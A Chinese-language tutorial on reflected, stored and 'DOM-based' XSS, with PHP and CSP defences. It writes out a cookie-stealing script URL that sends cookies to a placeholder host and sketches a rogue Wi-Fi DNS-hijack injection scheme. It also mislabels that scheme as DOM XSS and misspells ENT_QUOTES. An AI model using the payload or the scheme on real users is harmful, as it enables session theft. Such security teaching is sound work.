XSS 跨域脚本攻击(Cross-site scripting)的特点是:尽一切办法在目标网站上执行非目标网站上原有的脚本。
按实现方式,主要分为三类。
1. 基于反射
主要依靠站点服务端返回脚本,在客户端触发执行而发动 Web 攻击。
- 假设,在亚马逊搜索书籍,搜不到的时候显示提交的名称
- 在搜索框搜索内容,填入
<script>alert('handsome boy')</script>
,点击搜索 - 当前端页面没有对返回的数据进行过滤,直接显示在页面上,这时就会 alert 字符串出来
- 进而可以构造获取用户 Cookies 的地址,通过 QQ 群或者垃圾邮件,来让其他人点击该地址
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie=' + document.cookie</script>
开发安全措施
- 前端在显示服务端数据时,不仅是标签内容需要过滤、转义,属性值也可能需要。
- 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
2. 基于存储
通过发表带有恶意跨域脚本的帖子、文章,从而把恶意脚本存储在服务器,每个访问该帖子、文章的人就会触发执行。
- 发一篇文章,里面包含恶意脚本
<script>alert('handsome boy')</script>
。 - 后端没有对文章进行过滤,直接保存文章内容到数据库。
- 当其他人看这篇文章的时候,恶意脚本就会执行。
PS:因为大部分文章是保存整个 HTML 内容的,前端显示的时候不过滤,就极可能出现这种情况。
开发安全措施
- 首先要在服务端进行过滤,因为前端的校验可以被绕过。
- 服务端不校验的时候,前端要以各种方式过滤里面可能的恶意脚本,例如
script
标签,将特殊字符转换成 HTML 编码。
3. 基于 DOM 或本地
一般是提供一个免费 Wi-Fi,但是提供免费 Wi-Fi 的网关会往你访问的任何页面插入一段脚本或者直接返回一个钓鱼页面,从而植入恶意脚本。
- 提供一个免费 Wi-Fi
- 开启一个特殊的 DNS 服务,将所有域名都解析到我们的电脑上,并把 Wi-Fi 的 DHCP-DNS 设置为我们的电脑 IP
- 之后连上 Wi-Fi 的用户打开任何网站,请求都将被截取到。我们根据 HTTP 头中的 host 字段来转发到真正服务器上
- 收到服务器返回的数据后,我们就可以实现网页脚本的注入,并返回给用户
- 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库
开发安全措施
使用 HTTPS。
防御 XSS 攻击最有效的办法就是对用户输入的内容进行过滤和转义。
PHP 中防御 XSS:
- 内置函数转义(strip_tags:剥去字符串中的 HTML、XML 以及 PHP 的标签。htmlspecialchars:将特殊字符(
&
,"
,'
,>
,<
)转换为 HTML 实体,转义单引号需要追加ENV_QUOTES
) - DOM 解析白名单(DOMDocument [PHP 内置,需要安装扩展])
- 第三方库(PHPQuery,HTML Purifier)
- CSP
扩展阅读: CSP(Content Security Policy)内容安全策略,用于指定哪些内容可执行。